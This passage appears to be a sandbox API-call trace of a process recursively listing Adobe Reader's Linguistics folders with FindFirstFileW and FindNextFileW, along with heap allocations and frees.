ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0265.604] GetProcessHeap () returned 0xc10000 [0265.604] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0265.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0265.605] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.605] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1 [0265.606] GetProcessHeap () returned 0xc10000 [0265.606] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0265.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0265.610] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.610] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_CA.txt", cAlternateFileName="DISPLA~2.TXT")) returned 1 [0265.611] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB.txt", cAlternateFileName="DISPLA~3.TXT")) returned 1 [0265.611] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB_EURO.txt", cAlternateFileName="DISPLA~4.TXT")) returned 1 [0265.611] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US.txt", cAlternateFileName="DISPLA~1.TXT")) returned 1 [0265.611] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="DIA6FD~1.TXT")) returned 1 [0265.611] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="DIA6FD~1.TXT")) returned 0 [0265.611] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0265.612] GetProcessHeap () returned 0xc10000 [0265.612] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0265.612] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0265.612] GetProcessHeap () returned 0xc10000 [0265.612] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0265.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0265.613] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0265.613] GetProcessHeap () returned 0xc10000 [0265.613] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0265.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Adobe\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0265.617] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f3911d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.617] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Products.txt", cAlternateFileName="")) returned 1 [0265.617] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Products.txt", cAlternateFileName="")) returned 0 [0265.618] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0265.618] GetProcessHeap () returned 0xc10000 [0265.618] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Plugins2", cAlternateFileName="")) returned 1 [0265.618] GetProcessHeap () returned 0xc10000 [0265.618] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0265.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0265.618] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 1 [0265.618] GetProcessHeap () returned 0xc10000 [0265.618] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0265.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0265.634] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.634] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Abbreviations", cAlternateFileName="ABBREV~1")) returned 1 [0265.634] GetProcessHeap () returned 0xc10000 [0265.634] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0265.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0265.636] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.636] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_CA", cAlternateFileName="")) returned 1 [0265.636] GetProcessHeap () returned 0xc10000 [0265.637] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0265.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_CA\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0265.638] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.641] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.txt", cAlternateFileName="")) returned 1 [0265.642] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.txt", cAlternateFileName="")) returned 0 [0265.642] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0265.642] GetProcessHeap () returned 0xc10000 [0265.642] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0265.642] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0265.642] GetProcessHeap () returned 0xc10000 [0265.642] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0265.642] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_GB\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.281] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.281] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.txt", cAlternateFileName="")) returned 1 [0266.281] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.txt", cAlternateFileName="")) returned 0 [0266.281] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.282] GetProcessHeap () returned 0xc10000 [0266.282] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.282] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0266.282] GetProcessHeap () returned 0xc10000 [0266.282] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0266.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Abbreviations\\en_US\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.284] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: 